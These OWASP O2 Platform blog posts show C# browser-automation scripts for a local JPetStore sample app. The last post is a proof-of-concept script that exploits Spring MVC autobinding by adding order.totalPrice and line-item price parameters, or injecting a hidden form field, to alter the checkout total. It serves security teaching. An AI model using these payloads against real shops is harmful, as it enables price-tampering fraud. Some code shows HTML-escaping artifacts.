OWASP O2 Platform Blog

Writing an O2 ‘IE Automation’ Script for JPetStore Account Creation

Here is a video and script of the interactive process of writing an O2 IE Automation Script for JPetStore.

This is is the original script as shown in the video:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
&nbsp;

//ie.open("http://localhost:8080/jpetstore");
//ie.link("Enter the Store").click();

ie.open("http://localhost:8080/jpetstore/shop/newAccount.do");
ie.field("account.username").value("a user");
ie.field("account.password").value("pwd");
ie.field("repeatedPassword").value("pwd");
ie.field("account.firstName").value("first");
ie.field("account.lastName").value("name");
ie.field("account.address1").value("1");
ie.field("account.phone").value("2");
ie.field("account.city").value("3");
ie.field("account.state").value("4");
ie.field("account.zip").value("5");
ie.field("account.country").value("6");
ie.field("account.email").value("7");
ie.button("Save Account Information").click();

//return ie.buttons();
//ie.inject_FirebugLite();
//return ie.links();

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Which was then added to the API_JPetStore.cs as a couple createAccount(…) extension methods:

public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password)
{
return jPetStore.createAccount(username, password, username,10.randomLetters(),10.randomLetters(),
10.randomLetters(),10.randomLetters(),10.randomLetters(),
10.randomLetters(),10.randomLetters(),10.randomLetters());
}

public static API_JPetStore createAccount(this API_JPetStore jPetStore, string username, string password ,
string firstName, string lastName, string address1,
string phone, string city, string state, string zip,
string country, string email)
{
jPetStore.open("/shop/newAccount.do");
var ie = jPetStore.ie;
ie.field("account.username").value(username);
ie.field("account.password").value(password);
ie.field("repeatedPassword").value(password);
ie.field("account.firstName").value(firstName);
ie.field("account.lastName").value(lastName);
ie.field("account.address1").value(address1);
ie.field("account.phone").value(phone);
ie.field("account.city").value(city);
ie.field("account.state").value(state);
ie.field("account.zip").value(zip);
ie.field("account.country").value(country);
ie.field("account.email").value(email);
ie.button("Save Account Information").click();
return jPetStore;
}

So that they can be easily consumed like this:

panel.clear();
var ie = panel.add_IE().silent(true);</pre>
&nbsp;

var jPetStore = new API_JPetStore(ie);

jPetStore.createAccount("user12","pwd"); //create user
jPetStore.logout();                         // logout
jPetStore.login("user12","pwd____");      //should fail (wrong password)
jPetStore.login("user12","pwd");          //should work

//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a screenshot of the user created with the script above (note the random values)

July 13, 2011 Posted by | IE Automation, JPetStore, Spring MVC, videos, WatiN | Leave a comment

Injecting FirebugLite and jQuery into a IE Automation page (JPetStore Example)

When doing IE Automation, sometimes the best way to find out what is happening at the page we’re working on is to open FireBug on it. A cool (and very powerfull) alternative is to use FirebugLite which can be embeded on any page and works on most browsers.

As you can see here http://getfirebug.com/firebuglite#Stable one way to fireup FirebugLite is to execute that bit of Javascript they show under the ‘Add the following link to your bookmarks:’ section.

When using O2’s IE Automation this can be achieved like this:

var firebugLiteScript = &amp;quot;(function(F,i,r,e,b,u,g,L,I,T,E){if(F.getElementById(b))return;E=F[i+'NS']&amp;amp;&amp;amp;F.documentElement.namespaceURI;E=E?F[i+'NS'](E,'script'):F[i]('script');E[r]('id',b);E[r]('src',I+g+T);E[r](b,u);(F[e]('head')[0]||F[e]('body')[0]).appendChild(E);E=new Image;E[r]('src',I+L);})(document,'createElement','setAttribute','getElementsByTagName','FirebugLite','4','firebug-lite.js','releases/lite/latest/skin/xp/sprite.png','https://getfirebug.com/','#startOpened');&amp;quot;;
ie.eval(firebugLiteScript );

And since that works, let’s add it as an Extension method to the WatiN_ExtensionMethods.cs file that is used on the IE Automation script:

public static class WatiN_IE_ExtensionMethods_FireBugLite
{
public static WatiN_IE inject_FirebugLite(this WatiN_IE ie)
{
var firebugLiteScript = &amp;quot;(function(F,i,r,e,b,u,g,L,I,T,E){if(F.getElementById(b))return;E=F[i+'NS']&amp;amp;&amp;amp;F.documentElement.namespaceURI;E=E?F[i+'NS'](E,'script'):F[i]('script');E[r]('id',b);E[r]('src',I+g+T);E[r](b,u);(F[e]('head')[0]||F[e]('body')[0]).appendChild(E);E=new Image;E[r]('src',I+L);})(document,'createElement','setAttribute','getElementsByTagName','FirebugLite','4','firebug-lite.js','releases/lite/latest/skin/xp/sprite.png','https://getfirebug.com/','#startOpened');&amp;quot;;
ie.eval(firebugLiteScript);
return ie;
}
}

While we are here lets also add jQuery directly (without the need to use the IE_JQuery.cs api)

ie.eval(&amp;quot;&amp;lt;a href=&amp;quot;http://code.jquery.com/jquery-1.6.2.min.js%22.uri().getHtml&amp;quot;&amp;gt;http://code.jquery.com/jquery-1.6.2.min.js&amp;quot;.uri().getHtml&amp;lt;/a&amp;gt;());

or as an extension method:

public static class WatiN_IE_ExtensionMethods_JQuery
{
public static WatiN_IE inject_jQuery(this WatiN_IE ie)
{
ie.eval(&amp;quot;&amp;lt;a href=&amp;quot;http://code.jquery.com/jquery-1.6.2.min.js%22.uri().getHtml&amp;quot;&amp;gt;http://code.jquery.com/jquery-1.6.2.min.js&amp;quot;.uri().getHtml&amp;lt;/a&amp;gt;());
return ie;
}
}

Puting it all together, here is a script that:

  •  opens up JPetStore
  • Injects FirebugLite
  • Injects jQuery
  • runs a jQuery command that:
    • selects an ‘a’ with the content ‘Enter the Store’
    • changes its border to 2px
    • changes it size to 20px
    • fades it out in 2000 ms
    • fades is it in 2000 ms
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE().silent(true);
var jPetStore = new API_JPetStore(ie);

jPetStore.homePage();
ie.inject_FirebugLite();
ie.inject_jQuery();
ie.eval(&amp;quot;jQuery(\&amp;quot;a:contains('Enter the Store')\&amp;quot;).css({'border': 'solid 10px', 'font-size' : 30 } ).fadeOut(2000).fadeIn(2000);&amp;quot;);&amp;lt;/pre&amp;gt;
&amp;amp;nbsp;
//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is a screenshot what what this looks like:

July 13, 2011 Posted by | IE Automation, JPetStore, jQuery, Spring MVC, WatiN | Leave a comment

Creating an API for JPetStore Browser automation

Once we have a number of Lambda functions to perform IE/Web automation, the next step is to create an API so that they can be easily consumed and reused.

This API is going to be called API_JPetStore.cs and will allow the simple invocation of JPetStore commands like this:

var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE().silent(true); 
var jPetStore = new API_JPetStore(ie);
 
jPetStore.homePage(); 
jPetStore.login_DefaultValues();
jPetStore.logout();
jPetStore.login("asd","asd"); 
jPetStore.login("j2ee","j2ee");</pre>
&nbsp;

//O2File:API_JPetStore.cs
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Here is the current source code for the API_JPetStore.cs file (at the moment only implemeting a couple functions (like the login and logout)

// This file is part of the OWASP O2 Platform (<a href="http://www.owasp.org/index.php/OWASP_O2_Platform">http://www.owasp.org/index.php/OWASP_O2_Platform</a>) and is released under the Apache 2.0 License (<a href="http://www.apache.org/licenses/LICENSE-2.0">http://www.apache.org/licenses/LICENSE-2.0</a>)
using System;
using System.Linq;
using System.Collections.Generic;
using O2.Kernel;
using O2.Kernel.ExtensionMethods;
using O2.DotNetWrappers.DotNet;
using O2.DotNetWrappers.ExtensionMethods;
//O2File:WatiN_IE_ExtensionMethods.cs   
//O2File:WatiN_IE.cs
//O2Ref:WatiN.Core.1x.dll</pre>
&nbsp;

namespace O2.XRules.Database.APIs
{
    public class API_JPetStore
    {   
        public WatiN_IE ie;
        public string appUrl = "<a href="http://localhost:8080/jpetstore">http://localhost:8080/jpetstore</a>";
       
        public API_JPetStore(WatiN_IE _ie)
        {
            ie = _ie;
        }           
       
        public API_JPetStore open(string virtualPath)
        {
            if (virtualPath.starts("/").isFalse())
                virtualPath = "/{0}".format(virtualPath);
            var fullUri = "{0}{1}".format(appUrl, virtualPath).uri();
            ie.open(fullUri.str());
            return this;
        }
    }
   
      
    public static class API_JPetStore_ExtensionMethods
    {
        public static API_JPetStore homePage(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("");
            return jPetStore;
        }
       
        public static API_JPetStore login_DefaultValues(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("/shop/signonForm.do");
            jPetStore.ie.buttons()[1].click();
            return jPetStore;
        }
       
        public static bool login(this API_JPetStore jPetStore, string username, string password)       
        {           
            jPetStore.open("/shop/signonForm.do");
            var ie = jPetStore.ie;
            ie.field("username").value(username);
            ie.field("password").value(password);
            jPetStore.ie.buttons()[1].click();
            return ie.IE.Html.contains("Invalid username or password. Signon failed.");
        }
       
        public static API_JPetStore logout(this API_JPetStore jPetStore)       
        {           
            jPetStore.open("/shop/signoff.do");            
            return jPetStore;
        }

       
    }
}

 

July 13, 2011 Posted by | JPetStore, Spring MVC, WatiN | Leave a comment

O2 Script: ‘Spring MVC Util – View Controllers’

This Script creates a view for the Spring MVC mapping objects created by the SpringMvcMappings_v2 API.

This is a very important script since it provides a very clear view of a Spring MVC application URLs, Controllers and CommandClass

The Command Class view can be quite spectacular since it is common to find massive AutoBinded POJOs (some even with recursion)

Here is a video showing this script in action:

Here is the code:

var topPanel = O2Gui.open&amp;lt;Panel&amp;gt;(&amp;quot;Spring MVC Util - View Controllers&amp;quot;,1000,400);
//var topPanel = panel.clear().add_Panel();&amp;lt;/pre&amp;gt;
&amp;amp;nbsp;
var baseDir = PublicDI.CurrentScript.directoryName();

var xmlFile = baseDir.pathCombine(@&amp;quot;sourceCode\war\WEB-INF\petstore-servlet.xml&amp;quot;);
var mcvMappingsFile = &amp;quot;{0}.mvcMappings.xml&amp;quot;.format(xmlFile);
var webAppClassFiles = baseDir.pathCombine(&amp;quot;jPetStore.classes.zip.xml&amp;quot;);

var coreClassFiles = baseDir.pathCombine(&amp;quot;jPetStore.classes.zip.xml&amp;quot;);

Func&amp;lt;string,string,string&amp;gt; resolveGetterReturnType =
(methodName, returnType) =&amp;gt; {
&amp;quot;in resolveGetterReturnType: {0}  -    {1}&amp;quot;.debug(methodName, returnType);
if (methodName ==&amp;quot;getLineItems&amp;quot;)
return &amp;quot;org.springframework.samples.jpetstore.domain.LineItem&amp;quot;;
return returnType;
};

var mvcMappings = (mcvMappingsFile.fileExists())
? mcvMappingsFile.load&amp;lt;SpringMvcMappings&amp;gt;()
: xmlFile.springMvcMappings()
.mapCommandClass_using_XRefs(webAppClassFiles);

var xRefs = coreClassFiles.javaMetadata().map_JavaMetadata_XRefs();

var byCommandClass = mvcMappings.controllers_by_CommandClass();

var treeView = topPanel.add_TreeView_with_PropertyGrid(true).sort();
var codeViewer = topPanel.insert_Right().add_SourceCodeViewer();
Action&amp;lt;string&amp;gt; onClassSelected =
(@class) =&amp;gt; {
if (xRefs.Classes_by_Signature.hasKey(@class))
codeViewer.open(xRefs.Classes_by_Signature[@class].file());
};
var _treeView = codeViewer.insert_Above().add_TreeView_For_CommandClasses_Visualization(xRefs, onClassSelected, resolveGetterReturnType);

treeView.afterSelect&amp;lt;String&amp;gt;(
(javaClass)=&amp;gt;{
if (javaClass.valid() &amp;amp;&amp;amp; javaClass !=&amp;quot;[no commandName]&amp;quot;)
{
var file = &amp;quot;{0}.java&amp;quot;.format(javaClass.replace(&amp;quot;.&amp;quot;,&amp;quot;\\&amp;quot;));
_treeView.clear();
_treeView.add_Node(javaClass, javaClass,true);
codeViewer.open(file);
}
else
codeViewer.set_Text(&amp;quot;&amp;quot;);
});

treeView.afterSelect&amp;lt;SpringMvcController&amp;gt;(
(mvcController)=&amp;gt;{
if (mvcController.FileName.valid())
codeViewer.open(mvcController.FileName);
_treeView.clear();
if (mvcController.CommandClass.valid())
_treeView.add_Node(mvcController.CommandClass, mvcController.CommandClass,true);
});

var byCommandClassNode = treeView.add_Node(&amp;quot;by CommandClass&amp;quot;);
foreach(var mapping in     byCommandClass)
byCommandClassNode.add_Node(mapping.Key,mapping.Key)
.add_Nodes(mapping.Value);

var byJavaClassNode = treeView.add_Node(&amp;quot;by JavaClass&amp;quot;);
foreach(var mapping in  mvcMappings.controllers_by_JavaClass())
byJavaClassNode.add_Node(mapping.Key,mapping.Value);

var byUrlNode = treeView.add_Node(&amp;quot;by Url&amp;quot;);
foreach(var controller in  mvcMappings.Controllers)
byUrlNode.add_Node(controller.HttpRequestUrl,controller);

treeView.focus();
return &amp;quot;ok&amp;quot;;
//using O2.XRules.Database.Languages_and_Frameworks.J2EE
//using O2.XRules.Database.APIs.IKVM
//O2File:spring-servlet-2.0.xsd.cs
//O2File:SpringMvcMappings_v2.0.cs
//O2Ref:O2_Misc_Microsoft_MPL_Libs.dll

July 12, 2011 Posted by | JPetStore, Spring MVC, videos | Leave a comment

O2 Script for “Spring MVC JPetStore – Start Servers” (start/stop apache and hsqldb)

Part of the Spring MVC O2 demos, this script will:

  • Create a Gui to allow easy start and stop of the JPetStore servers (web and db)
  • Shows how to start an apache server and hsqldb directly (i.e. without using *.bat files)
  • Provide links to the other jPetStore Spring MVC *.h2 scripts

Here is a video of this script in action:

This script is included in the jPetStore O2 Demo Pack which can be downloaded from here (includes JPetStore and Apache):

Here is the script:

var topPanel = O2Gui.open<Panel>("JPetStore - Start Servers",1000,400);
//var topPanel = panel.clear().add_Panel();
Process hsqldbProcess = null;
Process apacheProcess = null;
var actionPanel = topPanel.insert_Above(20);
topPanel.add_LogViewer();
var ie = topPanel.insert_Right().add_IE();</pre>
&nbsp;

//Processes.getProcessesCalled("java").stop();
var currentFolder = PublicDI.CurrentScript.directoryName();

Action startServers =
()=>{
"Starting Db and Web servers".debug();
// start db server (hsqldb)
hsqldbProcess = Processes.startProcessAndRedirectIO("java",
@"-classpath .\hsqldb.jar org.hsqldb.Server -database jpetstore",
currentFolder.pathCombine("hsqldb"),
PublicDI.log.info);

//start web server (apache)
var tomcatFolder = currentFolder.pathCombine("apache-tomcat-7.0.16");
var apacheBinDirectory =  tomcatFolder.pathCombine("bin");

var apacheStartParameters = ("-Djava.util.logging.config.file=\"{0}\\conf\\logging.properties\" " +
"-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager   " +
"-Djava.endorsed.dirs=\"{0}\\endorsed\" " +
"-classpath \"{0}\\bin\\bootstrap.jar;{0}\\bin\\tomcat-juli.jar\" " +
"-Dcatalina.base=\"{0}\" -Dcatalina.home=\"{0}\" " +
"-Djava.io.tmpdir=\"{0}\\temp\" org.apache.catalina.startup.Bootstrap  start"
).format(tomcatFolder) ;

apacheProcess = Processes.startProcessAndRedirectIO("java",
apacheStartParameters,
currentFolder.pathCombine("hsqldb"),
PublicDI.log.info);
};

Action stopServers =
()=>{
"Stopping Db and Web servers".debug();
apacheProcess.stop();
hsqldbProcess.stop();
};
Action openJPetStore =
()=>{
ie.open("http://localhost:8080/jpetstore");
ie.link("Enter the Store").click();
ie.links().where((link)=> link.url().contains("FISH"))[0].click();
};
actionPanel.add_Link("Start Servers",0,0,()=>startServers())
.append_Link("Stop Servers",()=>stopServers())
.append_Link("Enter JPetStore and open a Page", ()=> openJPetStore())
.append_Link("JpetStore - BlackBox Exploits.h2" ,()=> "JpetStore - BlackBox Exploits.h2".local().executeH2Script() )
.append_Link("JPetStore - View Controllers.h2"  ,()=> currentFolder.pathCombine("JPetStore - View Controllers.h2").executeH2Script() );   ;


return "ok";

//using System.Diagnostics
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 12, 2011 Posted by | JPetStore, Spring MVC, videos, WatiN | Leave a comment

O2 Script with BlackBox exploits for Spring MVC AutoBinding vulnerabilities in JPetStore

This script ( that you can find on your local O2 Scripts folder at ‘C:\O2\O2Scripts_Database\_Scripts\_Sample_Vulnerabilities\jPetStore\JpetStore – BlackBox Exploits.h2’ ) shows a blackbox aninimation of a couple Spring MVC Autobinding vulnerabilities in the JPetStore application.

You can see a video of this script in action here:

Also see this blog post for more details: http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html  (includes a link to a white paper in this topic published in 2008 (but still very relevant))

Here is the source code of the O2 Script that creates a PoC GUI and allows the controlled execution of 3 variations of the exploits:

var topPanel = "JPetStore 'AutoBinding Vulnerability' PoC".popupWindow(1000,700);
//var topPanel = panel.clear().add_Panel();

var actionPanel = topPanel.insert_Above(40);
var ie = topPanel.add_IE_with_NavigationBar().silent(true);

var server = "http://127.0.0.1.:8080";

Action<string,string> login =
    (username, password) => {
                                ie.open(server + "/jpetstore/shop/signonForm.do");
                                ie.field("username",username);
                                ie.field("password",password);
                                ie.buttons()[1].click();
                            };

Action loginPlaceAnOrderAndGoToCheckout =
    ()=>{
            ie.open("http://127.0.0.1:8080/jpetstore");
            ie.link("Enter the Store").click();
            //login if needed
            var signOffLink = ie.links().where((link)=> link.url().contains("signonForm.do")).first();
            if(signOffLink.notNull())
            {
                signOffLink.click();
                login("j2ee", "pwd1");
            }
            ie.links().where((link)=> link.url().contains("FISH"))[0].click();
            ie.link("FI-FW-01 ").flash().click();
            ie.links().where((link)=> link.url().contains("addItemToCart"))[0].flash().click();
            ie.links().where((link)=> link.url().contains("checkout.do"))[0].flash().click();
            ie.links().where((link)=> link.url().contains("newOrder.do"))[0].flash().click();
        };

Action scrollToTotal =
    ()=>{
            var tdElement = ie.elements().elements("TD").toList().Where((element)=> element.innerHtml().notNull() && element.innerHtml().contains("Total:")).first();
            tdElement.scrollIntoView();
            tdElement.injectHtml_beforeEnd("<h2><p align=right>Look at the Total value from the table above (it should be 18.50)</p><h2>");
        };

Action<string> exploit_Variation_1 =
    (payload) => {
                    loginPlaceAnOrderAndGoToCheckout();
                    ie.buttons()[1].flash().click();
                    ie.open(server + "/jpetstore/shop/newOrder.do?_finish=true&" + payload);
                    scrollToTotal();
                 };

Action<string> exploit_Variation_1_SetTotalPrice =
    (totalPrice) => {
                        var payload = "&order.totalPrice={0}".format(totalPrice);
                        exploit_Variation_1(payload);
                    };

Action<string> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice =
    (totalPrice) => {
                        var payload = "&order.totalPrice={0}&order.lineItems[0].unitPrice=12&order.lineItems[0].quantity=12".format(totalPrice);
                        exploit_Variation_1(payload);
                    };

Action<string> exploit_Variation_2 =
    (totalPrice) => {
                        loginPlaceAnOrderAndGoToCheckout();
                        ie.field("order.billToFirstName").flash()
                          .injectHtml_afterEnd("<br>Total Price:<input type=text name='order.totalPrice' value='{0}'/>".format(totalPrice));
                        ie.buttons()[1].flash().click();
                        ie.open("http://127.0.0.1.:8080/jpetstore/shop/newOrder.do?_finish=true");
                        scrollToTotal();
                    };

//ie.disableFlashing();
var desiredPrice = "";
actionPanel.add_Label("Desired Total Price:").top(4)
           .append_TextBox("").onTextChange((text) => desiredPrice = text).set_Text("1.99")
           .append_CheckBox("Disable flashing",(value)=> { if (value) ie.disableFlashing(); else ie.enableFlashing(); })
           .append_Link("Normal Request", ()=> exploit_Variation_1("")).top(24).left(105)
           .append_Link("Exploit Variation #1 (set TotalPrice) ", ()=> exploit_Variation_1_SetTotalPrice(desiredPrice))
           .append_Link("Exploit Variation #2 (set ItemPrice, Item Quantity and TotalPrice) ", ()=> exploit_Variation_1_SetItemPriceQuantityAndTotalPrice(desiredPrice))
           .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice))
           .append_Link("Exploit Variation #3 (set TotalPrice) ", ()=> exploit_Variation_2(desiredPrice))
           .append_Link("loginPlaceAnOrderAndGoToCheckout; ",()=> loginPlaceAnOrderAndGoToCheckout());

ie.open("http://127.0.0.1.:8080/jpetstore");

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

July 11, 2011 Posted by | JPetStore, Spring MVC, videos, WatiN | 1 Comment